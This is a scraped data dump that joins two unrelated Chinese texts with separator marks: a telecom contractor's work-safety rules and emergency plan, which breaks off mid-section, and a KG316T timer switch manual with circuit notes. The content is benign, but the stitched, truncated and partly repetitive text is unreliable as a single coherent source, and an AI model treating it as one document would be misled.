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"安全生产管理制度及应急预案@#@安全生产责任制度及安全文明施工技术措施@#@一、安全生产保障制度@#@1、安全事故报告制度@#@1)一旦发生伤亡事故后,应立即组织抢救,事故部位或工点采取有郊措施防止事故扩大,并保护事故现场,并立即报告上级主管部门、当地有关部门和甲方代表。
@#@@#@2)工程重大事故发生后,项目部立即用电话或电传报告所属监理单位驻现场有关人员、(业主)建设单位;@#@@#@3)工程安全事故发生后,事故发生单位在三天内向建设单位提出书面报告,并按规定逐级上报。
@#@报告内容包括;@#@@#@发生时间、地点、工程项目;@#@@#@发生的简要经过、损失情况;@#@@#@发生原因的初步分析;@#@@#@采取的应急措施及事故控制情况;@#@@#@处理方案及工程计划。
@#@@#@4)对工程安全事故的调查处理,必须做到查明事故发生原因,查明事故责任单位及主要责任者,提出防止类似事故再次发生的措施。
@#@@#@5)对造成工程重大安全事故的直接责任者,由所在单位或主管部门给予行政、经济处罚、直至追究刑事责任。
@#@@#@2、安全生产协议制度@#@在进场施工前,与建设方签订施工安全协议书。
@#@通过签订施工安全协议书,明确各方的责任和义务、施工责任地段与期限、安全防范内容和措施,确保工程施工安全。
@#@@#@3、安全生产抵押金制度@#@企业内部安全管理实施安全风险抵押金办法,安全目标实现金额返回。
@#@@#@发生安全问题,部分或全额扣除风险抵押金,并处罚款。
@#@@#@完成本单位“百日安全无事故”及“安全年”目标,按有关规定给予奖励。
@#@@#@4、建立工程联络制度@#@与业主单位、总包单位、设计单位、监理单位及各其他承包单位建立工程联络制度,上报工程实施方案、工程进度,互通工程信息,合理调整工期安排,避免各专业及各承包方之间的相互干扰和交叉施工,提高生产效率,保证工程的期、安全和质量。
@#@@#@5、建立健全安全生产责任制度@#@建立健全安全生产责任制度,并在工程进展中不断完善安全生产责任制。
@#@项目经理为安全第一责任人,项目技术负责人为安全技术责任人,其他所有作业人员根据本单位的岗位设置,应承担相应的安全责任。
@#@在工程实施中,做到分工清晰、责任明确、监督有力、执行严格、奖罚分明。
@#@@#@6、实行安全生产否决制度@#@发生重大、大事故,除进行经济、行政处罚外,实行安全生产否决制度。
@#@责任人将被撤消其进场作业资格。
@#@责任人是项目经理或项目技术负责人的,将不得担任任何项目的相同职务。
@#@@#@7、坚持安全生产碰头会制度@#@每晚的工程例会后,由项目经理和项目部安质部门负责人会同各作业工班第、安全员、防护员,召开安全碰头会,认真总结当天的安全生产情况,对出现的安全问题进行分析和处理,并根据次日的施工任务,制定具体的安全整改、预防措施、注意事项和作必要的准备。
@#@@#@8、建立安全生产检查制度@#@接受建设单位、上级主管单位的工程检查。
@#@并对检查的结果、建议,作出积极反应,针对出现的问题,拿出具体的办法。
@#@项目部要完善自检制度,建立务实、高效的安全生产检查监控网络,层层把关,把安全生产落到实处。
@#@@#@9、严格执行项目部安全生产考核制度@#@严格执行项目部安全生产考核制度,安全生产是本单位对项目部综合评定的一个重要内容。
@#@对项目部的安全生产考核,要严格按本单位的有关规定,对其进行全面的考核,并予以评定打分,依考核结果实行奖罚。
@#@@#@10、实行安全处罚制度@#@项目部在施工过程中,出现安全事故将予以处罚。
@#@@#@@#@二、安全生产培训措施@#@为了落实国家“安全第一、预防为主、综合治理”的安全方针,转变和提高施工人员对安全的思想认识,强化参建人员安全意识,保证公司工程施工安全管理目标实现,满足项目建设的施工要求,规范操作、严格管理,不断提高各类管理人员、技术人员和作业人员安全素质和自我防范意识,确保工程优质高效地完成,项目部特制订以下几点安全教育培训工作措施,进一步强化安全生产教育培训工作。
@#@@#@一、进一步提高安全生产培训质量。
@#@在培训形式上,坚持全员培训与重点培训相结合、安全工种培训与新技术普及教育相结合。
@#@在培训过程中,做到不同时期有不同重点,不同工种有不同内容,不同对象有不同方法,不同层次有不同要求。
@#@结合参训人员的具体情况,有针对性地开展各种活动,丰富教学内容,激发学员的学习热情。
@#@特别是针对农民工文化素质偏低、接受能力较差的实际,采取形象直观、浅显易懂的培训方式,使他们尽快掌握基本常识和操作技能。
@#@加强安全生产培训考核工作。
@#@@#@二、进一步加大安全培训的管理力度。
@#@将安全生产培训工作与管理工作紧密结合起来,通过强有力的管理活动,推动安全生产培训工作有效开展。
@#@每季度至少组织一次以持证上岗为重点的专项管理活动,重点对安全生产管理人员、特种作业人员、高危行业的一般从业人员持证情况进行检查,对于未按规定持证上岗和上岗前未进行安全教育培训的,严格处理。
@#@@#@三、进一步落实安全生产培训主体责任。
@#@项目部牢固树立“抓培训就是保安全”的意识,制定安全生产培训规划和年度计划,逐步建立培训工作的长效机制;@#@项目主要负责人为第一责任人的安全生产培训责任制,把安全培训工作落实到各个管理部门和生产环节;@#@督促项目部各部门负责人、安全管理人员和特种作业人员参加培训,做到持证上岗;@#@开展全员安全培训工作,严格落实安全生产“三级教育”,加强对使用新技术、新工艺、新材料、新设备员工的安全培训和转岗培训。
@#@@#@四、安全例会培训制。
@#@项目部每周进行一次安全培训例会,并进行分项工程安全技术交底。
@#@@#@@#@三、安全生产管控制措施@#@1)贯彻执行国家及地方政府颁布的法律、法规和规定,把安全放在首位,施工中要统一指挥,严格执行技术标准、作业标准和工艺流程,强化控制监督;@#@坚持标准化作业,确保人身和行车安全。
@#@@#@2)必须在施工许可证后,方可进场施工。
@#@施工过程中,必须严格执行施工方案逐级审批制度、安全生产协议制度、工程联络制度、安全生产检查等制度,制度执行不浮于形式、不是例行公事、不留盲区。
@#@@#@3)持证上岗@#@对于通信作业中存在的以下特殊作业项目,需严格按照施工组织计划中的要求执行:
@#@@#@a.高空作业:
@#@@#@作业人员必须经过登高作业培训且通过考试取得合格证;@#@@#@打雷时不得施工,下雨、刮风时施工,要格外注意安全;@#@@#@在爬塔、爬电线杆等高空作业时,必须佩戴相应的且合格的安全带、安全帽和登高鞋,无安全装置的施工人员一律不准高空作业;@#@@#@往高处攀时,身上携带的工具应保证不会发生脱落现象,高空作业中,要注意工具的放置,塔或电线杆下不得站人,防止工具从高处掉落;@#@@#@高往低或从低往高吊设备(仪器、天线等)时,要确认绑好、控制好绳子后,方可开始吊设备。
@#@@#@b.电工作业:
@#@@#@作业人员必须经过专业培训且通过考试取得合格证;@#@@#@按规范进行接电操作,一定要确认先断电后接线,在确认电源已经断开后(使用万用表、电笔确认过),才能接电源。
@#@必须带电操作时,要有安全防护措;@#@@#@附近有高压电时,一定要在高压电危险范围外作业,撑竿及立杆的活动范围也应在高压电的势力范围外。
@#@@#@c.机械作业:
@#@@#@对于专业的施工机械等必须由专业有上岗资格证的操作人员进行操作。
@#@@#@4)对有可能影响交通安全的施工项目必须做到:
@#@@#@未签订施工安全协议书,不行施工;@#@@#@安全责任人不到位不得施工;@#@@#@监理人员不到位不得施工;@#@@#@配合单位人员不到位的不得施工;@#@@#@没有制定安全措施和防范措施不得施工。
@#@@#@5)执行出工点名制,在下达生产任务的同时必须下达当天的安全注意事项方可开工作业。
@#@执行出工点名制,在下达当天生产任务同时,必须布置安全措施有安全注意司项。
@#@@#@6)对施工项目全里组织,有针对性的制定安全措施。
@#@重点做好作业准备,作业防,行人、车辆的疏导,确保施工的安全。
@#@@#@7)按工程进度在施工范围设置围栏、夜间警示照明灯、安全警示标志,禁止施工无关人员进入施工场地。
@#@@#@8)施工人员和其他允许进入施工现场的所有人员进入施工作业区必须配带安全帽。
@#@@#@9)施工用电必须按临时用电操作规范执行,工棚严禁使用明火、煤气、电炉等,杜绝火灾事故源头。
@#@@#@10)加强施工安全员的检查、督促,及时提出整改措施,消灭安全事故萌芽。
@#@@#@11)严格执行《中华人民共和国消防条例》及本单位的规定,配备足够的消防器材和防火警示标牌,全面贯彻“预防为主,防消结合”的方针。
@#@@#@12)在运输、装卸、起吊作业前,应对搬运、装载、起重工具进行安全检查,符全要求的方能使用。
@#@在进行以上作业时,除按规定穿戴好劳保用品外,还须在作业现场设好安全防护人员。
@#@@#@13)严密的安全检查@#@施工前,对设备、仪器、工具进行安全检查,确认机械工具无安全隐患,电气工具绝缘良好、接地良好、无漏电和短路情况后才投入使用;@#@施工中,人身安全、设备安全的保证:
@#@进驻现场的工作人员,必须戴安全帽,带电、高空作业,需由具有国家承认的操作证的工作人员操作,每日对设备、人身安全等进行检查,消除安全隐患。
@#@施工后,对安全情况进行记录,并总结经验。
@#@@#@14)设备及行车安全管理@#@a、加强设备使用及行车人员的安全教育,落实各项施工安全管理规定及措施。
@#@@#@b、驾驶人员每日出工前收工手必须对车辆进行安全检查,发现问题及时修理不开带病车找报项目部调度,便于掌握和安排。
@#@@#@@#@四、安全生产风险及监控@#@
(一)工程特点与危险源识别@#@1、通信工程施工有三大特点,一是施工场所不固定,作业地点不确定因素多;@#@二是高处作业、机械作业多,手工操作体力劳动繁重;@#@三是施工变化大,规则性差,不安全因素随工程进度变化而变化。
@#@基于上述特点,施工现场必须随着工程进度的发展、变化,及时调整安全防护设施,方能消除隐患,保证安全。
@#@@#@2、按照国家标准《企业职工伤亡事故分类》GB6441的规定,我国将职业伤害事故分成20类,主要有:
@#@物体打击、车辆伤害、机械伤害、起重伤害、触电、淹溺、灼烫、火灾、高处坠落、坍塌、冒顶片帮、透水、放炮、火药爆炸、瓦斯爆炸、锅炉爆炸、容器爆炸、其他爆炸、中毒和窒息以及其他伤害。
@#@其中高处坠落、物体打击、触电、机械伤害、施工作业人员违规操作行为等是工程施工项目安全生产事故的主要风险源:
@#@@#@
(1)高处坠落。
@#@作业人员有从桥架、爬梯、电梯井口等处坠落的风险;@#@@#@
(2)触电。
@#@作业人员在铺设线缆、安装设备过程中,常会接触电缆线路及电器设备,有造成触电的风险;@#@也存在使用各类电器设备触电;@#@因电线破皮、老化等原因触电的风险。
@#@@#@(3)物体打击。
@#@作业人员受到同一垂直作业面的交叉作业中和通道口处坠落物体的打击;@#@@#@(4)机械伤害。
@#@主要是运输设备、场内操作机械对人的伤害;@#@@#@(5)违规操作施工。
@#@施工人员在施工过程中的不安全行为也是本项目常见的风险。
@#@@#@@#@
(二)安全生产监控体系@#@建立安全生产动态监控和预警预报体系已,明确本部门职责,落实有关措施,不断完善预警预报体系,确保安全生产。
@#@@#@1、动态监控和预警预报体系@#@1)动态监控预警预报领导小组@#@组长:
@#@项目负责人@#@副组长:
@#@项目经理@#@成员:
@#@安全员、部门负责人@#@2)主要职责:
@#@@#@①负责组建应急救援专业队伍,组织动态监控预警预报工作,检查督促做好事故的预防措施和救援的各项准备工作。
@#@@#@②发生事故时,发布和解除应急救援命令、信号;@#@组织指挥救援队伍实施救援行动;@#@向上级政府汇报和向周边单位通报事故情况,必要时向有关单位发出救援请求;@#@组织事故调查、总结救援经验教训。
@#@@#@③确定动态监控预警预报工作有关事宜。
@#@@#@④协调事故现场有关工作:
@#@@#@3)监控方式、方法:
@#@@#@①定期和不定期的安全检查:
@#@公司每月、车间每周、班组每天对危险源进行分级检查。
@#@安全人员每天对各危险源进行安全检查。
@#@@#@②每年一安全演习。
@#@@#@③施工器具仪表按规定定期检测。
@#@@#@④设备设施定期保养并保持完好。
@#@@#@⑤做好交接班记录。
@#@@#@⑥各基层单位每年进行一次风险识别,对识别出的重大风险制相应的应急措施。
@#@并对重大隐患进行重点监控和限期治理。
@#@@#@4)预警条件、方式@#@①危化品事故:
@#@出现某种危化品泄漏、着火、爆炸的事故即启动预案。
@#@@#@②设备事故:
@#@出现某设备泄漏、爆炸即启动预案。
@#@@#@③交通事故:
@#@出现交通事故时即启动预案。
@#@@#@④自然灾害:
@#@发生地震、台风、雷击时即启动预案。
@#@@#@应急救援指挥部接到上述可能事故信息后,应按照分级响应的原则及时研究确定应对方案,并通知有关部门、单位采取有效措施预防事故发生;@#@当应急救援指挥部认为事故较大,有可能超出本级处置能力时,要及时向市政府报告,及时研究应对方案,采取预警行动。
@#@@#@5)信息发布程序@#@①危化品、设备、交通事故:
@#@@#@最初发现者上报公司后,由应急救援领导小组发布。
@#@@#@②防汛、自然灾害时,安环、技术、设备等职能部门发现相应情况时,报告公司后,由应急救援领导小组发布。
@#@@#@6)信息报告与处置@#@①信息报告与通知@#@应急救援领导小组设24小时应急值守电话。
@#@@#@事故信息接收和处置办法:
@#@事故发生后,最早发现事故的人员要立即向调度值班室报警,接警人员详细向报警人员了解事故情况和现场人员情况,如事态严重应立即通知事故现场人员佩戴相应防护用品撤离事故现场,向上风向或侧风向转移。
@#@@#@然后,调度人员必须立即向调度室负责人报告,负责人应根据情况逐级上报或直接向总经理报告;@#@情况紧急时,事故现场人员可以直接向市安全生产监督管理局和市化建办、经贸局等负有安全生产监督管理的部门报告。
@#@@#@未遂事故报告:
@#@未遂事故发生后,所在部门应立即将未遂事故发生的经过报安环科,由安环科报告公司后,对相关责任人和部门按“四不放过”原则进行处理。
@#@@#@2、信息上报@#@总经理接到发生重伤、伤亡事故、重大伤亡等事故报告后,应当于1小时内将事故概况(事故发生的时间、地点、简要经过、已造成或可能造成的伤亡人数、初步估计的直接经济损失等)向市安全生产监督管理局和市化建办、经贸局等负有安全生产监督管理的部门报告。
@#@@#@3、信息传递@#@安全生产监督管理局和负有安全生产监督管理职责的有关部门接到事故报告后,应当依照规定上报事故情况,并同时报告本级人民政府。
@#@@#@@#@(三)预防与防范主要措施@#@1、安全技术管理措施@#@1)在安全危险源识别、评估基础上,编制施工组织设计和施工方案,制定安全技术措施和施工现场临时用电方案;@#@对危险性较大分部分项工程,编制专项安全施工方案。
@#@@#@2)项目负责人、技术负责人、施工负责人和专职安全员按分工负责安全技术措施和专项方案交底、过程监督、验收、检查、改进等工作内容;@#@对全体施工人员进行安全技术交底,并签字保存记录。
@#@@#@3)技术交底应符合下列规定:
@#@@#@①单位工程开工前,施工负责人向有关人员进行安全技术交底。
@#@@#@②结构复杂的分部分项工程施工前,项目部的安全(技术)负责人应进行安全技术交底。
@#@@#@③项目部应保存安全技术交底记录。
@#@@#@@#@2、安全培训措施@#@为了落实国家“安全第一、预防为主、综合治理”的安全方针,转变和提高施工人员对安全的思想认识,强化参建人员安全意识,保证公司工程施工安全管理目标实现,满足三淅高速公路项目建设的施工要求,规范操作、严格管理,不断提高各类管理人员、技术人员和作业人员安全素质和自我防范意识,确保工程优质高效地完成,项目部特制订以下几点安全教育培训工作措施,进一步强化安全生产教育培训工作。
@#@@#@①进一步提高安全生产培训质量。
@#@在培训形式上,坚持全员培训与重点培训相结合、安全工种培训与新技术普及教育相结合。
@#@在培训过程中,做到不同时期有不同重点,不同工种有不同内容,不同对象有不同方法,不同层次有不同要求。
@#@结合参训人员的具体情况,有针对性地开展各种活动,丰富教学内容,激发学员的学习热情。
@#@特别是针对农民工文化素质偏低、接受能力较差的实际,采取形象直观、浅显易懂的培训方式,使他们尽快掌握基本常识和操作技能。
@#@加强安全生产培训考核工作。
@#@@#@②进一步加大安全培训的管理力度。
@#@将安全生产培训工作与管理工作紧密结合起来,通过强有力的管理活动,推动安全生产培训工作有效开展。
@#@每季度至少组织一次以持证上岗为重点的专项管理活动,重点对安全生产管理人员、特种作业人员、高危行业的一般从业人员持证情况进行检查,对于未按规定持证上岗和上岗前未进行安全教育培训的,严格处理。
@#@@#@③进一步落实安全生产培训主体责任。
@#@项目部牢固树立“抓培训就是保安全”的意识,制定安全生产培训规划和年度计划,逐步建立培训工作的长效机制;@#@项目主要负责人为第一责任人的安全生产培训责任制,把安全培训工作落实到各个管理部门和生产环节;@#@督促项目部各部门负责人、安全管理人员和特种作业人员参加培训,做到持证上岗;@#@开展全员安全培训工作,严格落实安全生产“三级教育”,加强对使用新技术、新工艺、新材料、新设备员工的安全培训和转岗培训。
@#@@#@④安全例会培训制。
@#@项目部每周进行一次安全培训例会,并进行分项工程安全技术交底。
@#@@#@@#@3、设备管理@#@①工程项目要严格设备进场验收工作。
@#@机械设备由施工督导会同设备管理人员和使用人员共同验收,检查设备的运行状况是否良好。
@#@@#@②设备操作和维护人员必须经过专业技术培训,考试合格后取得相应操作证后,持证上岗。
@#@机械设备使用实行定机、定人、定岗位责任的“三定”制度。
@#@@#@③按照安全操作规程要求作业,任何人不得违章指挥和作业。
@#@@#@④施工过程中项目部要定期检查和不定期巡回检查,确保机械设备正常运行。
@#@@#@@#@@#@五、确保文明施工管理措施@#@
(一)文明施工目标@#@文明施工目标:
@#@施工期间按有关行政主管部门的规定及文明施工要求,确保安全文明施工检查一次性合格。
@#@@#@
(二)文明施工保证体系@#@@#@文明施工保证机构图@#@@#@(三)文明施工管理组织措施@#@1.健全管理组织@#@施工现场成立以项目总负责人为组长,工长、技术、质量、安全、材料等管理人员为成员的施工现场文明施工管理组织。
@#@@#@2.健全管理制度@#@
(1)、个人岗位责任制。
@#@按照个人的职责分片包干,分别建立岗位责任制度。
@#@@#@项目总负责人是文明施工的第一责任人,负责整个现场的文明施工管理工作,工地工长、各小组长负责本单位的文明管理施工工作。
@#@施工现场其他人员一律责任分工,实行个人岗位责任制。
@#@@#@
(2)、经济责任制。
@#@把文明施工列入单位经济承包责任制中,一同“包”、“保”、检查与考核。
@#@@#@(3)、检查制度。
@#@工地每星期组织一次综合检查,要按不同类别全面检查,按规定填写表格,算出结果,制表以榜公布。
@#@各小组要做到自检、互检、交检制度。
@#@要做到自产自清、日产日清、工完场清、标准管理。
@#@@#@(4)、奖惩制度。
@#@工地制定了奖、罚细则,坚持奖罚兑现。
@#@@#@(5)、会议制度。
@#@施工现场坚持文明施工会议制度,每一星期分析文明施工情况,针对实际制定措施,协调解决文明施工问题。
@#@@#@(6)、各项专业管理制度。
@#@文明施工是一项综合性的管理工作。
@#@除文明施工综合管理制度外,还建立、健全了质量、安全、机械、场容、料具、民工管理等制度。
@#@@#@3.健全管理资料@#@
(1)、保存好上级文明施工的标准、规定、法律法规等资料。
@#@@#@
(2)、施工日志里的文明施工内容按时填写。
@#@@#@(3)、及时作好各种会议记录、检查记录等。
@#@@#@4.开展竞赛@#@在各个施工小组之间开展文明施工竞赛,并于检查、考评、奖惩相结合,结果公布于众。
@#@@#@5.加强教育培训工作@#@利用各种手段开展对农民工的岗前、岗中、岗后的教育工作,工长及技术员要熟悉掌握文明施工标准。
@#@@#@@#@(四)现场管理措施@#@1.开展进行整理、整顿、清扫、清洁和素养活动。
@#@@#@
(1)整理:
@#@对施工现场现实存在的人、事、物进行调查分析并及时处理,已经不需要的劳动力应及时调到其他工地去,或组织学习,培训。
@#@渣土及时外运,各种多余的材料、工具按照指定的地点堆放,分检后不能利用的东西清理出现场,把作业面暂时不需要的人、事、物及时调整到合适的位置。
@#@对施工现场的人、机、物使用不合理时及时调整。
@#@@#@
(2)、整顿:
@#@科学、合理地安排、布置,使人、物合理利用,实现人、物、场所在空间上的最佳组合。
@#@物品摆放尽量靠近作业区,力求运距最短,减少二次搬运。
@#@@#@(3)、清扫:
@#@对施工现场的设备、场地、物品勤加维护打扫,做到自产自清,日产日清。
@#@设备异常马上修理,使之恢复正常。
@#@@#@(4)、清洁:
@#@维持整理、整顿、清扫,使施工现场始终保持良好的施工环境和施工秩序,并始终处于最家状态。
@#@对职工的要求,不仅要注意形体上的清洁,还要注意精神文明,礼貌待刃,在现场不大声喧哗,不随地大、小便,不凌空抛洒垃圾与物品。
@#@@#@(5)、素养:
@#@特别注意调动全体职工的积极性,自觉管理,自我实施,自我控制,贯穿施工全过程,在现场,教育民工自己动手,创造一个良好的工作环境,不断提高施工现场的施工水平。
@#@@#@2.合理定制@#@在工地施工期间把所需的物在空间上合理地布置,实现人与物、人与场所、物与场所、物与物的最佳组合,是施工现场秩序化、规范化、体现文明施工的水平。
@#@@#@3、减少扰民降低环境污染和噪音措施@#@
(1)、严格遵守国家和地方有关控制环境污染和噪音的各项法规,采取行之有效的措施,防止施工中有可能造成的污染;@#@@#@
(2)、施工时,尽可能做到不影响交通和周围居民的生活,当施工现场距居民区较近时,应按监理工程师要求的作业时间施工;@#@当施工中有可能影响交通时,应设置警示标志,以保证人员和本工程的安全。
@#@@#@(3)、对施工现场实施降尘处理,以减少对环境的影响,施工中产生的废料,应征得当地环保部门的同意后,运抵指定现场妥善处理;@#@@#@(4)、施工中与当地居民发生矛盾时,尽可能做好说服解释工作,不使矛盾激化,并及时与当地政府取得联系,妥善解决矛盾;@#@@#@(5)、在保证工期的前提下,尽可能不在夜间使用噪音大的设备,注意搞好与周边单位、居民的关系,确保工程顺利竣工;@#@@#@(6)、施工过程中,各分项、单位工程施工前应制定安全生产、文明施工的措施和办法,做到图纸、措施、设备、材料、机具、劳动力等落实到位;@#@@#@(7)、临时设施完整,布置得当,环境清洁,配备必要的灭火器材,夜间设有专门人员值班,落实防火、防盗、防蚀等措施;@#@@#@(8)、施工场地清洁卫生按标准化施工现场要求执行。
@#@@#@@#@@#@第六节安全生产应急预案@#@第一安全生产管理@#@一、总则@#@1、编制目的:
@#@@#@为规范企业安全生产事故应急管理和应急响应程序,提高处置安全生产事故能力。
@#@在事故发生后,能迅速有效、有序的实施应急救援工作,最大限度地减少人员伤亡和财产损失,特制定本预案。
@#@@#@2、编制依据:
@#@@#@依据《中华人民共和国安全法》、《国家安全生产事故灾难应急预案》、《生产经营单位安全生产事故应急预案编制导则》等相关法律、法规制定本预案。
@#@@#@3、适用范围:
@#@@#@本预案适用于我公司所发生的安全生产事故事故的应对工作。
@#@@#@4、应急预案体系:
@#@@#@根据行业的特点和公司实际情况,本应急预案体系包括公司综合应急预案、专项应急预案和现场处置方案。
@#@@#@本预案属公司综合应急预案,与专项预案和现场处置方案共同构成公司应急预案体系。
@#@@#@公司综合应急预案是从总体上阐述事故的应急方针、政策,应急组织结构及相关应急职责,应急行动、措施和保障等基本要求和程序,是应对各类事故的综合性文件。
@#@@#@专项应急预案是针对专项的及各车间具体的事故类别、危险源和应急保障而制定的计划或方案,主要明确救援的程序和具体的应急救援措施。
@#@@#@现场处置方案是针对具体的装置、场所或设施、岗位所制定的应急处置措施。
@#@@#@5、应急工作原则:
@#@@#@以人为本、安全第一。
@#@预防为主、平战结合。
@#@统一领导、分级负责。
@#@@#@二、本单位危险性分析@#@1、单位概况:
@#@@#@公司是一家通信施工企业,位于福建泉州,从业人数1000人左右,。
@#@生产活动具有以下特点:
@#@产品的固定性;@#@施工涉及面广,综合性强;@#@生产机械设备多;@#@受自然气候条件影响大;@#@立体交叉作业和高空作业多;@#@由于这些特点,给生产活动带来了很大的不安全因素,容易发生生产安全事故,并可能殃及邻近作业人员,造成重大的人身伤亡事故和重大经济损失。
@#@@#@2、危险源与风险分析:
@#@@#@经过现场勘察与分析,公司在生产活动中存在以下危险源:
@#@机械伤害、带电设备触电伤害、交通意外伤害、高处坠落伤害、中毒、中暑、火灾等有害因素。
@#@@#@三、组织机构及职责:
@#@@#@一.突发安全事故应急领导小组@#@成立公司突发安全事故应急领导小组,统一指挥和组织我公司突发安全事故的应急处理工作。
@#@@#@应急组织及行动分工:
@#@@#@1、组长:
@#@项目总负责人,负责向公司领导、相关方沟通事故及抢救情况、后期处理等。
@#@@#@2、副组长:
@#@项目经理,负责现场掌握了解事故情况,组织现场抢救。
@#@@#@3、各项目现场负责人:
@#@负责现场人员、物资、车辆的调度。
@#@@#@4、后勤保障";i:
1;s:
8644:
"KGT微电脑时控开关说明书@#@KGT微电脑时控开关说明书@#@ @#@@#@ @#@@#@————————————————————————————————作者:
@#@@#@————————————————————————————————日期:
@#@@#@ @#@@#@@#@KG316T微电脑时控开关说明书@#@接线@#@ 1.图1直接控制方式@#@ 2.图2控制接触器、线圈电压220VAC/50HZ@#@ 3.图3控制接触器、线圈电压380VAC/50HZ@#@ @#@ @#@ 操作使用@#@ 1.使用前把产品左面的电池开关置于"@#@开"@#@位置!
@#@显示器上显示(星期一、5点正),按住“时钟键”@#@ 不放的同时再按“星期键、时键、分键”,调整北京时间。
@#@@#@ 2.设定开关时间:
@#@@#@步骤@#@按键@#@设定项目@#@1@#@按(手动)@#@使显示器的短横线在自动位置@#@2@#@按(设定)@#@进入定时开设定(显示1ON)@#@3@#@按(星期)@#@设定每天相同,每天不同,星期一至@#@星期五相同,或星期六至星期日相同@#@4@#@按(时)(分)@#@设定开的时间@#@5@#@按(设定)@#@进入定时关设定(显示1OFF)@#@6@#@按(时)(分)@#@设定关的时间@#@7@#@重复2-6@#@设定第2-12次开关的时间@#@8@#@按(时钟)@#@结束时间设定@#@ *如不需12个开关定时按(时钟)键,返回实际时间@#@ *如设定错误或聚消设定按(取消)键,再按一次恢复原来的设定@#@ *无设定时显示(--:
@#@--)@#@ 3.检查:
@#@按(设定)键检查所设定的时间是否正确。
@#@@#@ 4.修改:
@#@请在该设定处按(取消)键,然后重量新设定该定时开关的时间及星期@#@ 5.结束检查:
@#@按(时钟)结束检查及设定,显示时钟@#@ 6.手动控制:
@#@按(手动)键,即可实现随意的开关@#@ 参考使用@#@ 1.例如控制器每天下午6点自动打开电源,到夜里2点关闭电源,按以下操作@#@ 2.调好时间后按一下“设定键”显示器上显示如图4,按住“时键”显示器显示如图5。
@#@再按一下@#@ “设定键”显示器显示如图6,按住“时键”显示器显示如图7。
@#@以上调整完再按一下“时钟键”@#@ 显示器恢复显示北京时间。
@#@再按“手动键”可以直接开或关闭电路,然后每天控制器按自动运@#@ 行。
@#@@#@ @#@ 注意事项@#@ 1.为防强电流下融点发热,接线时务必拧紧接线柱的螺钉@#@ 2.控制器进线220VAC/50-60HZ电源,切勿接到380VAC@#@ 3.填订单时,希望电源电压,订制:
@#@24V、110V、380VAC@#@ 4.控制器红灯亮有电进入,红绿灯同时亮开关有电输出@#@ 5.设定的时间,不能交叉设定,应按时间的顺序设定@#@KG316T微电脑时控开关说明书@#@1,打开或锁定键盘:
@#@按住“时钟键”同时按住“取消/恢复键”几秒,锁定显示标志“锁”。
@#@@#@2,按住“时钟键”同时再按“星期键,时键,分键”,调整北京时间。
@#@@#@3设定开关时间:
@#@@#@步骤,按键,设定项目@#@1)按(手动),使显示器的三角形在自动位置@#@2)按(设定),进入定时开设定(显示1开)@#@3)按(星期),设定每天相同,每天不同,星期一至星期五相同,或星期六至星期日相同@#@4)按(时)(分),设定开的时间@#@5)按(设定),进入定时关设定(显示1关)@#@6)按(时)(分),设定关的时间@#@7)重复2)~6),设定第2~6次,2~12次开关的时间@#@8)按(时钟),结束时间设定@#@*如果不需要6个,12个开关定时按(时钟)键,返回实际时间。
@#@@#@*如果设定错误或取消设定按(取消)键,再按一次恢复原来的设定。
@#@@#@*无设定时显示(----)。
@#@@#@4,检查:
@#@按(设定)检查所有设定的时间是否正确。
@#@@#@5,修改:
@#@请在该设定处按(取消)键,然后重新设定该定时开关时间及星期。
@#@@#@6,结束检查:
@#@按(时钟)键结束检查及设定,显示时钟。
@#@@#@7,手动控制:
@#@按(手动)键,即可实现随意的开和关或自动运行。
@#@@#@ @#@@#@KG316T微电脑时控开关原理剖析 @#@@#@ @#@ @#@ @#@电脑定时控制开关能够根据用户设定的时间,自动接通和关闭用电设备,控制对象可以是路灯、霓虹灯、广告灯、生产设备、广播电视设备。
@#@本文以KG316T型电脑时控开关为例,介绍控制电路的工作原理。
@#@供维修时参考。
@#@@#@ @#@ @#@ @#@一、控制电路原理分析@#@ @#@ @#@ @#@KG316T电脑时控开关的控制板电路和键控控制、LED指示板电路如图所示,图中元件、排线端子编号为绘制时自行标注。
@#@@#@ @#@ @#@ @#@市电经变压器隔离、降压后、再经D1~D4桥式整流、C2滤波,一方面为控制电路提供直流工作电压(时控开关开启时为12V,关闭时为15V)。
@#@并使LED1发光,指示时控开关已经接入市电;@#@另一方面再经R2限流、R3分压、VDl稳压、在C4两端形成3.6V的稳定电压,再经D5降压、R4限流,为电脑电路和液晶显示电路提供3V工作电源。
@#@内附电池E保证在停电时设定的数据不丢失和电脑计时的不间断,长期供液晶显示时钟和微电脑电路运行。
@#@电路中D5在时控开关不接入电源或停电时起隔离作用,防止内附电池经R3耗电。
@#@@#@ @#@ @#@ @#@当时控开关设定为“自动状态”,电脑计时到达设定的某组“开”的时间时,电脑控制输出端(XGDZ—B板排线端子⑧)输出接近3V的高电平,送往XGDZ-2板端子④,经R5驱动Ql饱和,继电器线圈中流过电流,常开触点吸合,时控开关处于“开”态。
@#@同时继电器线圈两端的压降使LED2点亮,指示目前处于工作“开”态。
@#@@#@ @#@ @#@ @#@当电脑计时到达设定的某组“关”的时间时,微电脑控制输出端变为0V低电平,Q1、Q2截止,继电器释放,时控开关转为关态,同时,由于Ql、Q2截止,继电器线圈两端变为等电位,LED2熄灭,指示目前时控开关处于关状态。
@#@@#@ @#@ @#@ @#@当选择手动操作将时控开关设定为“开”或“关”的状态时,电脑控制输出端子分别输出高电平或低电平,控制、指示电路工作过程与设置为自动时相同。
@#@@#@ @#@ @#@ @#@二、常见故障检修@#@ @#@ @#@ @#@1.到达设定时间,时控开关没有自动开启@#@ @#@ @#@ @#@如果确认设置的时间和状态符合要求,则是设定自动状态时的设定顺序不对。
@#@KG316T电脑时控开关在按“自动/手动”键设定“开、自动、关”时的转换顺序是往复变换式,不是循环方式。
@#@在设定为自动方式时应先将指示状态的三角形箭头,由对应当时所处状态的位置转换到“自动”位置。
@#@@#@ @#@ @#@ @#@2.电源指示灯不亮、开关不动做@#@ @#@ @#@ @#@将时控开关脱离市电,查市电输入接线端是否有2.4k左右的阻值,这是12V变压器初级绕组阻值,它随变压器所用线径和匝数的不同有很大差异。
@#@若呈输入端开路,查0.5A保险管是否烧断。
@#@若变压器损坏则要更换体积相差不大的12V变压器。
@#@变压器整流输出电压实测在继电器释放状态为15V左右,继电器吸合后降为12V左右。
@#@@#@ @#@ @#@ @#@3.使用或放置长时间后,不接入市电时液晶显示屏显示字符淡或不显示@#@ @#@ @#@ @#@此为内附电池电量不足或失效所致,需更换两节5号高性能电池。
@#@注意不要用充电电池更换,因为充电电池电压太低。
@#@@#@ @#@ @#@ @#@4.时控开关关不断@#@ @#@ @#@ @#@此故障多为Q1、Q2短路损坏造成。
